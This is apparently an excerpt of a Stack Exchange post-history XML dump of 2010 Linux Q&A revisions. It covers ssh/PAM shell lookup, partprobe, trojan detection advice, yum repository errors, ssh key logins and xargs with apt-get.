  <row Id="8813" PostHistoryTypeId="5" PostId="4052" RevisionGUID="3e1b9ee2-d72e-47b8-a353-867a9a15ff78" CreationDate="2010-11-14T16:15:36.273" UserDisplayName="Spider.Ch" Comment="added 15 characters in body" Text="If you use DE, it's better to use NetworkManager `clck.ru/2Y77` (this is link). &#xD;&#xA;&#xD;&#xA;Otherwise, you need to edit the net configuration file(`/etc/conf.d/net`):&#xD;&#xA;&#xD;&#xA;    config_wlan0=(&quot;dhcp&quot;)&#xD;&#xA;    modules=(&quot;iwconfig&quot;)&#xD;&#xA;    preferred_aps=(&quot;WI-FI_NAME&quot;)&#xD;&#xA;    config_WI-FI_NAME=(&quot;dhcp&quot;)&#xD;&#xA;&#xD;&#xA;and then: `/etc/init.d/net.wlan0 start`. It should work. Sorry for my bad English. " />
  <row Id="8814" PostHistoryTypeId="2" PostId="4056" RevisionGUID="ee526894-8c4b-47a2-b020-c4a71c139e1c" CreationDate="2010-11-14T16:50:46.237" UserId="2661" Text="It depends what exactly do you need to do with your images...&#xD;&#xA;&#xD;&#xA;If you want something like mspaint you could try Kolourpaint (from KDE)...&#xD;&#xA;&#xD;&#xA;If you want process photos (change brightness/crop/etc) I'll recomend Digikam - it is digital album (like f-spot or picasa mentioned before) with lot of tools to change properities of photos - crop, change brightness, denoise etc..." />
  <row Id="8815" PostHistoryTypeId="2" PostId="4057" RevisionGUID="3ceefa32-2fad-4ac5-9c2e-7dc360b98301" CreationDate="2010-11-14T16:52:52.657" UserId="885" Text="As far as I know, PAM doesn't determine the user's shell, this is left to the application. PAM's session modules perform generic actions and checks that must be done for on every login using that particular service. If the application then wants to start a shell, it is free to do so, and will typically look up the shell in the user database.&#xD;&#xA;&#xD;&#xA;Assuming your question is about [OpenSSH](http://www.openssh.org/), that's exactly what it does: once the user is authenticated, and the PAM session stuff has been done (if configured to use PAM¹), the server looks up the shell in the user database for an interactive shell session, or to run a command containing shell metacharacters (but not for a simple command such as `ssh example.com ls`, or for a non-shell session such as scp or sftp).&#xD;&#xA;&#xD;&#xA;The user database isn't limited to `/usr/passwd` and friends. On Linux (which I assume you're using since you mention `shadow`), what makes up the user database is determined by the `passwd` setting in [`/etc/nsswitch.conf`](http://linux.die.net/man/5/nsswitch.conf). In multi-computer setups, common additions to the local database are [NIS](http://en.wikipedia.org/wiki/Network_Information_Service) and [LDAP](http://en.wikipedia.org/wiki/LDAP). If you want to use a shell that isn't the one in `/etc/passwd`, this may be what to configure (although it would be a bit strange, and maybe people can offer better suggestions if you tell us what you're trying to accomplish).&#xD;&#xA;&#xD;&#xA;If you want to have users without full shell access, the natural solution is to change `/etc/passwd` to put a restricted shell — perhaps [rssh](http://www.pizzashack.org/rssh/) to allow only a few file-copying-type applications such as scp, rsync and cvs. You can also use forced commands in the user's [`~/.ssh/authorized_keys` file](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd&amp;sektion=8).&#xD;&#xA;&#xD;&#xA;If you'd like to see a trace of what the ssh server is doing, start the daemon as `ssh -ddd`. You can also get the client's view with `ssh -vvv`, though here the server's view is what will interest you most.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;OpenSSH only uses PAM if it is configured with PAM support and the `UsePAM` directive is set to `yes` in `sshd_config`. Even when it uses PAM, it offers other authentication methods in addition to PAM; in particular public key authentication does not go through PAM.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="8816" PostHistoryTypeId="2" PostId="4058" RevisionGUID="2791579d-1ef4-4dfe-91a9-af1c169e22d5" CreationDate="2010-11-14T17:41:31.793" UserId="2661" Text="You need to set codepage and charset in kernel options:&#xD;&#xA;&#xD;&#xA;    make menuconfig -&gt; File systems:&#xD;&#xA;    -&gt; Native language support:&#xD;&#xA;    &lt;*&gt;   Codepage 437 (United States, Canada)&#xD;&#xA;    &lt;*&gt;   NLS ISO 8859-1  (Latin 1; Western European Languages)&#xD;&#xA;    &#xD;&#xA;    -&gt; DOS/FAT/NT Filesystems&#xD;&#xA;    (437) Default codepage for FAT&#xD;&#xA;    (iso8859-1) Default iocharset for FAT&#xD;&#xA;&#xD;&#xA;and then recompile kernel..." />
  <row Id="8817" PostHistoryTypeId="5" PostId="3907" RevisionGUID="ec7e5705-05f7-48a2-ad06-302b1b11d713" CreationDate="2010-11-14T20:17:42.790" UserId="688" Comment="added 4 characters in body" Text="I'm looking for recommendations for something easy to use that will allow me to edit my images. I fiddled with Inkspace and GIMP and found them not so intuitive (I don't want to have to read a manual to know how to **draw a border** around some part of the image)." />
  <row Id="8818" PostHistoryTypeId="2" PostId="4059" RevisionGUID="3c1a8e0d-3101-4f10-8f22-47356635f2ef" CreationDate="2010-11-14T20:22:28.543" UserId="2662" Text="There's also a small utility called [retty][1] that lets you reattach running programs to another terminal. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pasky.or.cz/~pasky/dev/retty/" />
  <row Id="8819" PostHistoryTypeId="2" PostId="4060" RevisionGUID="6ae6eb61-a505-4b31-9f6b-7177a92b399a" CreationDate="2010-11-14T20:42:03.230" UserId="2626" Text="I recently (re)stumbled upon this:  &lt;br/&gt;&#xD;&#xA;**Linux Trojan Goes Unnoticed For Almost A Year (Unreal IRCd):** &lt;http://www.webupd8.org/2010/06/linux-trojan-goes-unnoticed-for-year.html&gt;&#xD;&#xA;&#xD;&#xA;Yes, I know that adding some random PPA/software from an untrusted source is asking for trouble (or worse). I never do that, but many do (many Linux blogs and tabloids promote adding PPAs for fancy apps, without warning that it may break your system or worse still, compromise your security.) &#xD;&#xA;&#xD;&#xA;**How can a trojan horse or a rogue application/script be detected and removed?**" />
  <row Id="8820" PostHistoryTypeId="1" PostId="4060" RevisionGUID="6ae6eb61-a505-4b31-9f6b-7177a92b399a" CreationDate="2010-11-14T20:42:03.230" UserId="2626" Text="How to detect and remove a Linux trojan?" />
  <row Id="8821" PostHistoryTypeId="3" PostId="4060" RevisionGUID="6ae6eb61-a505-4b31-9f6b-7177a92b399a" CreationDate="2010-11-14T20:42:03.230" UserId="2626" Text="ésecurityà" />
  <row Id="8822" PostHistoryTypeId="2" PostId="4061" RevisionGUID="7f414c91-1eba-4c69-8f3b-b5b6d7343684" CreationDate="2010-11-14T20:43:13.520" UserId="22" Text="I was looking for a way to refresh the scsi bus (or any other bus, for that matter) that would allow my kernel ( 2.6.18-194-el5 on CentOS 5.5) to know about the partitions on a drive, and I couldn't find a way. partprobe did it instantly. How? &#xD;&#xA;&#xD;&#xA;Since it's important, here's what I was doing: &#xD;&#xA;&#xD;&#xA;I wanted to get some practice in partition-specific things like resizing, backing up the MBR and restoring it, and so on. I had created a 20GB partition on /dev/sdb, backed up the MBR:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;dd if=/dev/sdb of=sdb.mbr bs=512 count=1&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;then I went into fdisk, deleted the partition, wrote it, and exited. &#xD;&#xA;&#xD;&#xA;&gt;ls /dev/sdb*&#xD;&#xA;&#xD;&#xA;showed that there was no partition, and &#xD;&#xA;&#xD;&#xA;&gt;fdisk -l /dev/sdb'&#xD;&#xA;&#xD;&#xA;matched, so I figured I was good. &#xD;&#xA;&#xD;&#xA;I then reversed the dd: &#xD;&#xA;&#xD;&#xA;&gt;dd if=sdb.mbr of=/dev/sdb bs=512 count=1 &#xD;&#xA;&#xD;&#xA;Of course, I didn't do anything at that point, so &#xD;&#xA;&gt;ls /dev/sdb*&#xD;&#xA;&#xD;&#xA;didn't list any partitions, but &#xD;&#xA;&#xD;&#xA;&gt;fdisk -l&#xD;&#xA;&#xD;&#xA;showed the partition, presumably because it reads the first 512 bytes on the disk and doesn't rely on the kernel. I knew that I'd  have to refresh the bus, so I went into into /sys/class/scsi_host/host1, and did &#xD;&#xA;&#xD;&#xA;&gt; echo &quot;- - -&quot; &gt; scan&#xD;&#xA;&#xD;&#xA;and doing &#xD;&#xA;&#xD;&#xA;&gt;ls /dev/sdb&#xD;&#xA;&#xD;&#xA;didn't show anything new, so then I went to /sys/bus/scsi/devices and for each of the listed devices, I did &#xD;&#xA;&#xD;&#xA;&gt; echo 1 &gt; rescan&#xD;&#xA;&#xD;&#xA;and that didn't work.  &#xD;&#xA;&#xD;&#xA;I then did more research on the problem, and came across 'partprobe', which comes with parted. I ran it, and it worked instantly. &#xD;&#xA;&#xD;&#xA;If I don't get a likely answer here, I'm probably going to just go get the source and look it up, but I figure there are wizards here beyond me, so I thought I'd appeal to you all. " />
  <row Id="8823" PostHistoryTypeId="1" PostId="4061" RevisionGUID="7f414c91-1eba-4c69-8f3b-b5b6d7343684" CreationDate="2010-11-14T20:43:13.520" UserId="22" Text="How does partprobe work?" />
  <row Id="8824" PostHistoryTypeId="3" PostId="4061" RevisionGUID="7f414c91-1eba-4c69-8f3b-b5b6d7343684" CreationDate="2010-11-14T20:43:13.520" UserId="22" Text="épartitionàéfdiskàépartedà" />
  <row Id="8825" PostHistoryTypeId="5" PostId="4055" RevisionGUID="1500f9a3-1e75-4623-afb3-814548c00806" CreationDate="2010-11-14T21:12:50.853" UserId="73" Comment="added 60 characters in body; edited title" Text="What steps does the system go through when handling an SSH connection?&#xD;&#xA;&#xD;&#xA;1. We try to log in via ssh&#xD;&#xA;2. `sshd` starts pam and pam module to authenticate us&#xD;&#xA;3. Depending on pam configuration, we need to provide username and password (pam checks `passwd` and `shadow` files)&#xD;&#xA;4. pam checks for `hosts.allow/deny`, `/etc/shells`, and other things&#xD;&#xA;5. If everything goes fine we are logged in&#xD;&#xA;6. ???&#xD;&#xA;7. Shell is started&#xD;&#xA;&#xD;&#xA;So my question is what mechanism is responsible for checking which shell is assigned to the user in their `passwd` file (in step 6)? Is it pam itself, some specific pam module, `sshd`, or something else? I know that I can replace the `passwd` file (for checking username and password) by writing a pam module, but how can I replace the `passwd` file for the shell entry?" />
  <row Id="8826" PostHistoryTypeId="4" PostId="4055" RevisionGUID="1500f9a3-1e75-4623-afb3-814548c00806" CreationDate="2010-11-14T21:12:50.853" UserId="73" Comment="added 60 characters in body; edited title" Text="What steps does the system go through when handling an SSH connection?" />
  <row Id="8827" PostHistoryTypeId="2" PostId="4062" RevisionGUID="c482ff6d-3ab8-422d-9315-8569b2168b25" CreationDate="2010-11-14T21:23:24.740" UserId="885" Text="Partprobe calls the `BLKRRPART` ioctl, which is documented in, err, [`include/linux/fs.h`](http://lxr.linux.no/linux+v2.6.36/include/linux/fs.h#L278), and beyond that the kernel source (the meat is in [`rescan_partitions()`](http://lxr.linux.no/linux+v2.6.36/fs/partitions/check.c#L573)):&#xD;&#xA;&#xD;&#xA;    #define BLKRRPART  _IO(0x12,95) /* re-read partition table */&#xD;&#xA;&#xD;&#xA;The easiest way to find this out is to run `strace -e raw=ioctl -e open,ioctl partprobe /dev/sdb`.&#xD;&#xA;&#xD;&#xA;I think what you tried with `/sys/*/*scan` tells the kernel to check if there's been a change of drive. That doesn't help if the drive hasn't changed (or has been hotswapped in a way that the kernel doesn't detect?) but the partition structure on it has changed.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8828" PostHistoryTypeId="2" PostId="4063" RevisionGUID="ee32491b-ee17-4437-b9df-53245db008d7" CreationDate="2010-11-14T21:39:48.633" UserId="2661" Text="If I understand correctly &quot;trojan&quot; described in this article couldn't be discovered in &quot;normal&quot; way as &quot;normal&quot; malware. This IRCd was behaving normally until he was used, so administrator could find this security hole only when: 1) it was used and action made by this hole caused entry in logs or was visible in some other way, 2) reading source code.&#xD;&#xA;&#xD;&#xA;&quot;Real&quot; Linux malware should be also detected by AV software for Linux or AV LiveCD Rescue Disks, so you could scan computer using this software. As you can see in [SecureList][1] in list there is 1941 entries with Linux in name and that software should be detected by Kaspersky software. Quick look to this list shows that many entries are about some DDoS tools and exploits or tools that cannot spread automatically and could be used only as tools for attack (so aren't harmful).&#xD;&#xA;&#xD;&#xA;For checking for backdoors/rootkits installed by cracker you could use tool that checks file checksums (you should generate list of files and checksums on clean system and update it after server software update). Every new file or file with wrong checksum is suspicious. List of checksum and tool that generate it should be on read only medium (cracker could also change for example md5sum for it's own version that shows wrong checksums). This way of finding malware could be used on 'stable' systems where software isn't upgraded every day.&#xD;&#xA;&#xD;&#xA;Some malware could be detected by running `netstat` locally to check for network traffic, but if system is infected data showed by `netstat` could also be changed. In this case some solution is to monitor network traffic from another computer (for example from router, to check what traffic is sent to the internet).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.securelist.com/en/descriptions?words=linux" />
  <row Id="8829" PostHistoryTypeId="2" PostId="4064" RevisionGUID="a8a5cc8c-866b-40f5-98eb-05285342ebb0" CreationDate="2010-11-14T21:42:37.553" UserId="885" Text="There's no general recipe. If your system has been infected by an unknown trojan, all you can do is reinstall.&#xD;&#xA;&#xD;&#xA;If you know that the trojan operates in a certain way — for example you know that the trojan doesn't infect the kernel — there may be a less harsh way of recovering. But that's entirely dependent on knowing how the trojan behaves. If all you have is the symptoms (such as your computer sending spam without your consent), there's no general technique: the trojan detector has to be smarter than the trojan designer (and lucky). As far as trojans are concerned, detection and hiding are like gun and armor: there is a technological escalation, and neither party has an intrinsic advantage (though hiders do have a head start).&#xD;&#xA;&#xD;&#xA;Many systems have a secure distribution channel in place. For example, when you install a package from the Ubuntu repositories with the apt-based tools (apt-get, aptitude, synaptic, software center, …), the tool checks that the package is signed (vetted) by someone Ubuntu trusts. (Most distributions have a similar mechanism.) When you install a package from a PPA, all you can know is that the PPA owner vetted the package, which is no help if you have no reason to trust the PPA owner in the first place.&#xD;&#xA;&#xD;&#xA;About trojans and backdoors, I strongly recommend reading [Ken Thompson](http://en.wikipedia.org/wiki/Ken_Thompson)'s Turing award lecture, [Reflections on Trusting Trust](http://cm.bell-labs.com/who/ken/trust.html). To summarize, he changed the compiler so that when compiling the login program, it would add code that allowed him to log in with a secret password; then he changed the compiler so that when it compiled itself, it would insert the code to add the backdoor; then he recompiled the whole system (in particular the login program and the compiler); finally he restored the compiler source to the original, unquestionable source. Again, read [Ken Thompson's article](http://cm.bell-labs.com/who/ken/trust.html); then you may also read [David Wheeler's counterpoint](http://www.acsa-admin.org/2005/abstracts/47.html), perhaps best apprehended through [Bruce Schneier](http://en.wikipedia.org/wiki/Bruce_Schneier)['s blog article](http://www.schneier.com/blog/archives/2006/01/countering_trus.html).&#xD;&#xA;" />
  <row Id="8830" PostHistoryTypeId="2" PostId="4065" RevisionGUID="7fe6f263-2928-4ab3-84a2-aa7d67c49446" CreationDate="2010-11-14T21:59:06.700" UserId="2661" Text="I think that something is wrong with repository settings. Check entries in `/etc/yum.repos.d/` or `/etc/yum.conf` or `/etc/yum/`..." />
  <row Id="8831" PostHistoryTypeId="2" PostId="4066" RevisionGUID="5e8576b0-c7e9-42f9-b4fd-27e971a14a45" CreationDate="2010-11-14T22:35:38.727" UserId="1299" Text="You should be able to modify the keyboard shortcut assigned to switching windows on the VNC server side desktop. You didn't specify what desktop environment you are using but on my computer (Ubuntu 10.10 with Gnome) this is the Keyboard Shortcuts control panel from the System menu (System &gt; Preferences &gt; Keyboard Shortcuts).&#xD;&#xA;&#xD;&#xA;![System : Preferences Menu with Keyboard Shortcuts highlighted][1]&#xD;&#xA;&#xD;&#xA;The Alt-Tab function is near the bottom (under &quot;Window Management&quot;, labelled &quot;Move between windows, using a popup window&quot;). Change it from Alt-Tab to something that isn't a shortcut on either your Windows computer or the apps you're using on the VNC server side.&#xD;&#xA;&#xD;&#xA;![Keyboard shortcuts control panel][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/zLvrR.png&#xD;&#xA;  [2]: http://i.imgur.com/pdgAx.png&#xD;&#xA;  [3]: http://i.imgur.com/C3bTz.png" />
  <row Id="8832" PostHistoryTypeId="2" PostId="4067" RevisionGUID="b89bee6a-9052-4697-b70d-37533d1bf09d" CreationDate="2010-11-14T23:05:03.803" UserId="382" Text="Try something like this:&#xD;&#xA;&#xD;&#xA;    montage file1.jpg file2.jpg -geometry +0+0 -background none output.jpg&#xD;&#xA;&#xD;&#xA;This will make the border between images as small as possible and whatever is there will be transparent.&#xD;&#xA;&#xD;&#xA;To see a demo of the difference using builtin images, try these and compare:&#xD;&#xA;&#xD;&#xA;    $ montage rose: -resize 100x60 rose: -geometry +0+0 -background none montage.jpg&#xD;&#xA;    $ display montage.jpg &amp;&#xD;&#xA;    $ montage rose: -resize 100x60 rose: montage.jpg&#xD;&#xA;    $ display montage.jpg &amp;&#xD;&#xA;&#xD;&#xA;See [Montage Usage][1].&#xD;&#xA;&#xD;&#xA;If you post an example of what you're getting and manually edit together an example of what you'd like as a result, we might be able to get a little closer to that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imagemagick.org/Usage/montage/" />
  <row Id="8833" PostHistoryTypeId="4" PostId="4044" RevisionGUID="e14c2c2a-dfe8-494b-9c88-f26a0e841abe" CreationDate="2010-11-14T23:32:49.600" UserId="1339" Comment="changed tags and title" Text="Problem installing packages on my Redhat machine" />
  <row Id="8834" PostHistoryTypeId="6" PostId="4044" RevisionGUID="e14c2c2a-dfe8-494b-9c88-f26a0e841abe" CreationDate="2010-11-14T23:32:49.600" UserId="1339" Comment="changed tags and title" Text="érhelàéyumà" />
  <row Id="8835" PostHistoryTypeId="2" PostId="4068" RevisionGUID="5468c698-3277-4181-8568-3d977717e297" CreationDate="2010-11-15T05:00:52.103" UserId="2666" Text="I made a key, but it logs me back out as i try to setup passphraseless logins to localhost:&#xD;&#xA;&#xD;&#xA;&gt;rsa-keygen -t rsa&#xD;&#xA;&#xD;&#xA;&gt;cat id_rsa.pub &gt; authorized_keys&#xD;&#xA;&#xD;&#xA;&gt;ssh localhost&#xD;&#xA;&#xD;&#xA;The authenticity of host 'localhost (::1)' can't be established.&#xD;&#xA;&#xD;&#xA;RSA key fingerprint is bb:a6:5e:46:c9:b5:e9:46:bd:43:c1:6e:cd:3b:e5:ea.&#xD;&#xA;&#xD;&#xA;Are you sure you want to continue connecting (yes/no)? yes&#xD;&#xA;&#xD;&#xA;Warning: Permanently added 'localhost' (RSA) to the list of known hosts.&#xD;&#xA;&#xD;&#xA;Connection closed by ::1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The same thing happens when I try to login with using the host name as well. &#xD;&#xA;&#xD;&#xA;what am i missing?" />
  <row Id="8836" PostHistoryTypeId="1" PostId="4068" RevisionGUID="5468c698-3277-4181-8568-3d977717e297" CreationDate="2010-11-15T05:00:52.103" UserId="2666" Text="In OSX ssh-keygen creates a key but then the session won't connect" />
  <row Id="8837" PostHistoryTypeId="3" PostId="4068" RevisionGUID="5468c698-3277-4181-8568-3d977717e297" CreationDate="2010-11-15T05:00:52.103" UserId="2666" Text="ésshàéosxà" />
  <row Id="8838" PostHistoryTypeId="5" PostId="4068" RevisionGUID="11e4a8a4-80d0-4df9-829b-9d0012877c9c" CreationDate="2010-11-15T05:27:03.167" UserId="73" Comment="added 18 characters in body" Text="I made a key, but it logs me back out as i try to setup passphraseless logins to localhost:&#xD;&#xA;&#xD;&#xA;    $ rsa-keygen -t rsa&#xD;&#xA;    $ cat id_rsa.pub &gt; authorized_keys&#xD;&#xA;    $ ssh localhost&#xD;&#xA;&#xD;&#xA;    The authenticity of host 'localhost (::1)' can't be established.&#xD;&#xA;    RSA key fingerprint is bb:a6:5e:46:c9:b5:e9:46:bd:43:c1:6e:cd:3b:e5:ea.&#xD;&#xA;    Are you sure you want to continue connecting (yes/no)? yes&#xD;&#xA;    Warning: Permanently added 'localhost' (RSA) to the list of known hosts.&#xD;&#xA;    Connection closed by ::1&#xD;&#xA;&#xD;&#xA;The same thing happens when I try to login with using the hostname as well. What am I missing?&#xD;&#xA;" />
  <row Id="8839" PostHistoryTypeId="2" PostId="4069" RevisionGUID="b6b9c66c-55a9-42c3-bc3a-1fc147decf50" CreationDate="2010-11-15T05:42:47.140" UserId="2667" Text="I'm trying to remove a list of packages from a file. My command is as follow :&#xD;&#xA;&#xD;&#xA;    cat packages | xargs sudo apt-get remove&#xD;&#xA;&#xD;&#xA;*packages* is my file containing a list of packages I want to remove. Everything seems to work well except apt-get abort instead of letting me choose yes or no.&#xD;&#xA;&#xD;&#xA;I know I can get around this with the -y option, but I would like to know why this is happening and how can I keep the interactive choice.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="8840" PostHistoryTypeId="1" PostId="4069" RevisionGUID="b6b9c66c-55a9-42c3-bc3a-1fc147decf50" CreationDate="2010-11-15T05:42:47.140" UserId="2667" Text="Why does xargs causes apt-get to abort?" />
  <row Id="8841" PostHistoryTypeId="3" PostId="4069" RevisionGUID="b6b9c66c-55a9-42c3-bc3a-1fc147decf50" CreationDate="2010-11-15T05:42:47.140" UserId="2667" Text="éubuntuàéaptàéxargsà" />
  <row Id="8842" PostHistoryTypeId="5" PostId="4060" RevisionGUID="a76a78de-6e6d-451c-8951-91c7cc58818f" CreationDate="2010-11-15T06:39:54.827" UserId="1327" Comment="added 5 characters in body" Text="I recently (re)stumbled upon this:  &#xD;&#xA;&#xD;&#xA; - [Linux Trojan Goes Unnoticed For Almost A Year (Unreal IRCd)][1]&#xD;&#xA;&#xD;&#xA;Yes, I know that adding some random PPA/software from an untrusted source is asking for trouble (or worse). I never do that, but many do (many Linux blogs and tabloids promote adding PPAs for fancy apps, without warning that it may break your system or worse still, compromise your security.) &#xD;&#xA;&#xD;&#xA;**How can a trojan horse or a rogue application/script be detected and removed?**&#xD;&#xA;&#xD;&#xA;[1]:http://www.webupd8.org/2010/06/linux-trojan-goes-unnoticed-for-year.html" />
  <row Id="8843" PostHistoryTypeId="2" PostId="4070" RevisionGUID="9c505790-a5b5-42d3-a528-93da47cd7366" CreationDate="2010-11-15T07:58:53.523" UserId="1262" Text="On a stock Dell, RHEL 5.3, my X gets stuck when running any OpenGL program for more than a few seconds. After a few seconds, the screen freezes, and after another few seconds sometimes the screen turns white.&#xD;&#xA;&#xD;&#xA;Any openGL program does that. I wrote a very simple program that uses only very basic polygon drawing, and it still causes X to freeze.&#xD;&#xA;&#xD;&#xA;Killing X won't help it recover.&#xD;&#xA;&#xD;&#xA;Both `dmesg` and the X log don't show any special errors except of&#xD;&#xA;&#xD;&#xA;    (WW) AIGLX 3D driver claims not to support visual 0x23&#xD;&#xA;    (WW) AIGLX 3D driver claims not to support visual 0x24&#xD;&#xA;    ...&#xD;&#xA;    (WW) AIGLX 3D driver claims not to support visual 0x32&#xD;&#xA;&#xD;&#xA;Similar error message appears after I execute an glut OpenGL program.&#xD;&#xA;&#xD;&#xA;What could be the trouble? How can I further debug the issue?" />
  <row Id="8844" PostHistoryTypeId="1" PostId="4070" RevisionGUID="9c505790-a5b5-42d3-a528-93da47cd7366" CreationDate="2010-11-15T07:58:53.523" UserId="1262" Text="X stuck when using OpenGL " />
  <row Id="8845" PostHistoryTypeId="3" PostId="4070" RevisionGUID="9c505790-a5b5-42d3-a528-93da47cd7366" CreationDate="2010-11-15T07:58:53.523" UserId="1262" Text="éxorgàéopenglà" />
  <row Id="8846" PostHistoryTypeId="5" PostId="4069" RevisionGUID="1cb9760f-c43c-4f03-a396-c46ae45acc0a" CreationDate="2010-11-15T10:08:53.460" UserId="1327" Comment="deleted 11 characters in body; edited tags" Text="I'm trying to remove a list of packages from a file. My command is as follow :&#xD;&#xA;&#xD;&#xA;    cat packages | xargs sudo apt-get remove&#xD;&#xA;&#xD;&#xA;*packages* is my file containing a list of packages I want to remove. Everything seems to work well except apt-get abort instead of letting me choose yes or no.&#xD;&#xA;&#xD;&#xA;I know I can get around this with the -y option, but I would like to know why this is happening and how can I keep the interactive choice." />
  <row Id="8847" PostHistoryTypeId="6" PostId="4069" RevisionGUID="1cb9760f-c43c-4f03-a396-c46ae45acc0a" CreationDate="2010-11-15T10:08:53.460" UserId="1327" Comment="deleted 11 characters in body; edited tags" Text="éaptàéxargsà" />
  <row Id="8848" PostHistoryTypeId="2" PostId="4071" RevisionGUID="d143d1af-364e-41f9-aa60-069ad48328e7" CreationDate="2010-11-15T10:59:36.443" UserId="2000" Text="Probably a problem with your video driver. Download the latest driver for you video card from the vendor's site if it's Nvidia or ATI/AMD, otherwise look for supported OpenGL extensions in your current drivers." />
  <row Id="8849" PostHistoryTypeId="2" PostId="4072" RevisionGUID="75d75397-c1c3-4dfe-89cc-95a4644dd46e" CreationDate="2010-11-15T11:58:48.107" UserId="252" Text="If you provide your SSH key by hand does it work?&#xD;&#xA;&#xD;&#xA;    ssh localhost -i id_rsa&#xD;&#xA;&#xD;&#xA;If so, the problem is most likely your SSH agent that didn't register your new key" />
  <row Id="8850" PostHistoryTypeId="2" PostId="4073" RevisionGUID="cbcabc93-65d0-463f-98c5-f0b72d2a9dec" CreationDate="2010-11-15T12:10:32.077" UserId="1294" Text="A more general solution would be&#xD;&#xA;&#xD;&#xA;     sudo apt-get remove `cat packages`&#xD;&#xA;&#xD;&#xA;where you will have a problem if the list of [packages is really long][1].&#xD;&#xA;&#xD;&#xA;The reason that it isn't working is that apt-get is trying to read your confirmation from the standard input which - because of the pipe - is attached to `cat`. Contrariwise, `sudo` does the Right Thing by asking your password by opening /dev/tty directly. Apt should do this but apparently doesn't.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxjournal.com/article/6060" />
  <row Id="8851" PostHistoryTypeId="2" PostId="4074" RevisionGUID="cc0e1d0b-fe38-4204-ad3a-421fd91d2fef" CreationDate="2010-11-15T12:11:19.033" UserId="252" Text="It could be a plugin called [pi_paren](http://vimdoc.sourceforge.net/htmldoc/pi_paren.html).&#xD;&#xA;You should be able to turn it off by executing `NoMatchParen` (and `DoMatchParen` to turn it back on).&#xD;&#xA;&#xD;&#xA;If you want to turn it off permanently, add (to your `.vimrc`):&#xD;&#xA;&#xD;&#xA;    NoMatchParen" />
  <row Id="8852" PostHistoryTypeId="2" PostId="4075" RevisionGUID="fbc47f93-4194-4559-8e02-3e6ede475d11" CreationDate="2010-11-15T12:23:27.910" UserId="688" Text="I'm using `file-roller` and it doesn't work well when my archive file is accessed via ssh (it throws an error). Any alternatives?" />
  <row Id="8853" PostHistoryTypeId="1" PostId="4075" RevisionGUID="fbc47f93-4194-4559-8e02-3e6ede475d11" CreationDate="2010-11-15T12:23:27.910" UserId="688" Text="GUI archive manager that works well over ssh" />
  <row Id="8854" PostHistoryTypeId="3" PostId="4075" RevisionGUID="fbc47f93-4194-4559-8e02-3e6ede475d11" CreationDate="2010-11-15T12:23:27.910" UserId="688" Text="ésoftwareörecà" />
  <row Id="8855" PostHistoryTypeId="2" PostId="4076" RevisionGUID="a2ee0398-c4bd-4df1-848a-edae476eae5a" CreationDate="2010-11-15T12:32:28.523" UserId="2612" Text="Have you tried 'yum clean all'?" />
  <row Id="8856" PostHistoryTypeId="2" PostId="4077" RevisionGUID="9f913ca4-7cc7-41d7-ab19-b970c6cee9d4" CreationDate="2010-11-15T12:51:58.327" UserId="2629" Text="Okay, a couple of things here:&#xD;&#xA;&#xD;&#xA;Your repo location is apparently `file://localhost/tmp/` (I'm not sure about using file://localhost/ but I'm assuming that it's a shortcut for going file:///, but the main issue is the use of /tmp in that path.  Files located under /tmp will get cleaned out on reboot (most times).  Which will explain later failures.&#xD;&#xA;&#xD;&#xA;So, step 1 is restore your local repository (using the same method as you used to create it the first time, I'd recommend a location other than /tmp if you intend on using it again in the future - remember you edit your repository entry in yum.conf or yum.repos.d/ with the new path) or connect it to RHN (I'm assuming based on the directory structure this repo source you are using is of the RHEL 5 GOLD tree).&#xD;&#xA;&#xD;&#xA;Once you have the repository setup, you will need to either install [git from source][2], or from [EPEL (Extra Packages for Enterprise Linux)][1].&#xD;&#xA;&#xD;&#xA;Just to note however:&#xD;&#xA;  &#xD;&#xA; 1. EPEL packages are built against the latest versions of RHEL, so if you are using 5.0 then you may have dependency conflicts, This is why RHN (subscription required) is the best choice for fixing your repository issue.&#xD;&#xA; 2. If you aren't using RHEL, then you will need to fix your CentOS/OUL/SL repository configurations by hand, however the EPEL steps are equally valid.&#xD;&#xA;&#xD;&#xA;  [1]:http://fedoraproject.org/wiki/EPEL/FAQ#How_can_I_install_the_packages_from_the_EPEL_software_repository.3F&#xD;&#xA;  [2]:http://git-scm.com/" />
  <row Id="8857" PostHistoryTypeId="2" PostId="4078" RevisionGUID="7dfae70b-b8fb-4127-870c-0a2688884450" CreationDate="2010-11-15T14:04:56.487" UserId="2669" Text="My graphic card has two output (VGA and DVI). Is it possible to switch from one to the other without rebooting ?&#xD;&#xA;&#xD;&#xA;It works in Xorg by restarting the X server (I guess it should be doable with xrandr too) but I'd like to do it in the **linux console**.&#xD;&#xA;&#xD;&#xA;I have looked at [vbetool][1] but I am not sure it is the right way (the commands I tried did not work anyway).&#xD;&#xA;&#xD;&#xA;I have a nvidia card.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.codon.org.uk/~mjg59/vbetool/" />
  <row Id="8858" PostHistoryTypeId="1" PostId="4078" RevisionGUID="7dfae70b-b8fb-4127-870c-0a2688884450" CreationDate="2010-11-15T14:04:56.487" UserId="2669" Text="Switch display output without rebooting but not in Xorg" />
  <row Id="8859" PostHistoryTypeId="3" PostId="4078" RevisionGUID="7dfae70b-b8fb-4127-870c-0a2688884450" CreationDate="2010-11-15T14:04:56.487" UserId="2669" Text="élinuxàévideoàénvidiaà" />
